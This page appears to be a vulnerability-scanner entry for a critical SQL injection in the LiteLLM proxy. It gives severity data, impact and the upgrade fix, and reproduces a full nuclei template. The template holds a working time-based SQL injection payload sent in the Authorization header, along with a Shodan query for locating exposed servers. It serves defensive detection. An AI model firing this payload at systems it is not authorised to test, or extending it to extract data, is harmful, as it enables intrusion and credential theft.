LiteLLM - SQL Injection

Exploited in the wild. Listed by CISA on 2026-05-08; known to be used by ransomware.

criticalseverity

9.8CVSS score

89.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

LiteLLM 1.81.16 to < 1.83.7 contains a SQL injection caused by improper handling of caller-supplied key in database query during proxy API key checks, letting unauthenticated attackers read and modify database data, exploit requires crafted Authorization header.

Impact

Unauthenticated attackers can read and modify proxy database, leading to unauthorized access and credential compromise.

Fix

Upgrade to version 1.83.7 or later.

How to confirm it

Send: GET /ui/login/? ; POST /v1/chat/completions
Positive when: contains(body_1, "litellm-asset-prefix") and contains(content_type_2, "application/json") and status_code_2 == 401
Send: @timeout: 30s
Positive when: status_code == 401 and duration >= 8

Run it with nuclei: nuclei -id CVE-2026-42208 -u <target>

The full check

id: CVE-2026-42208

info:
  name: LiteLLM - SQL Injection
  author: HAERIN-L
  severity: critical
  description: |
    LiteLLM 1.81.16 to < 1.83.7 contains a SQL injection caused by improper handling of caller-supplied key in database query during proxy API key checks, letting unauthenticated attackers read and modify database data, exploit requires crafted Authorization header.
  impact: |
    Unauthenticated attackers can read and modify proxy database, leading to unauthorized access and credential compromise.
  remediation: |
    Upgrade to version 1.83.7 or later.
  reference:
    - https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc
    - https://www.sysdig.com/blog/cve-2026-42208-critical-sql-injection-litellm/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42208
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-42208
    epss-score: 0.8942
    epss-percentile: 0.99787
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: BerriAI
    product: LiteLLM
    shodan-query: http.title:"LiteLLM"
  tags: cve,cve2026,litellm,sqli,unauthenticated,kev,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /ui/login/? HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /v1/chat/completions HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer invalid_token_baseline_test

        {}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "litellm-asset-prefix")'
          - 'contains(content_type_2, "application/json")'
          - 'status_code_2 == 401'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 30s
        POST /v1/chat/completions HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{randstr}}' OR (SELECT pg_sleep(8)) IS NOT NULL --

        {}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'duration >= 8'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from